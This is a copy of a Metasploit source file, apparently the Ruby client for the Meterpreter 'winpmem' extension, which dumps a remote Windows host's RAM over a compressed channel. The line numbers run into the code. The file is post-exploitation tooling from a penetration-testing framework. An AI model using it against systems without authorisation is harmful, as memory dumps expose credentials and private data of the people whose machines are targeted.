Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb
Views: 11791
# -*- coding: binary -*-12require 'rex/post/meterpreter/extensions/winpmem/tlv'3require 'rex/post/meterpreter/extensions/winpmem/command_ids'45module Rex6module Post7module Meterpreter8module Extensions9module Winpmem10###11#12# This meterpreter extension can be used to capture remote RAM13#14###15class Winpmem < Extension16WINPMEM_ERROR_SUCCESS = 017WINPMEM_ERROR_FAILED_LOAD_DRIVER = 118WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 219WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 320WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 421WINPMEM_ERROR_UNKNOWN = 2552223def self.extension_id24EXTENSION_ID_WINPMEM25end2627def initialize(client)28super(client, 'winpmem')2930client.register_extension_aliases(31[32{33'name' => 'winpmem',34'ext' => self35},36])37end3839def dump_ram40request = Packet.create_request(COMMAND_ID_WINPMEM_DUMP_RAM)41response = client.send_request(request)42response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)4344return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS4546memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)47channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)4849raise Exception, 'We did not get a channel back!' if channel_id.nil?5051# Open the compressed Channel52channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, 'winpmem',53CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, response)54return memory_size, response_code, channel55end56end57end; end; end; end; end585960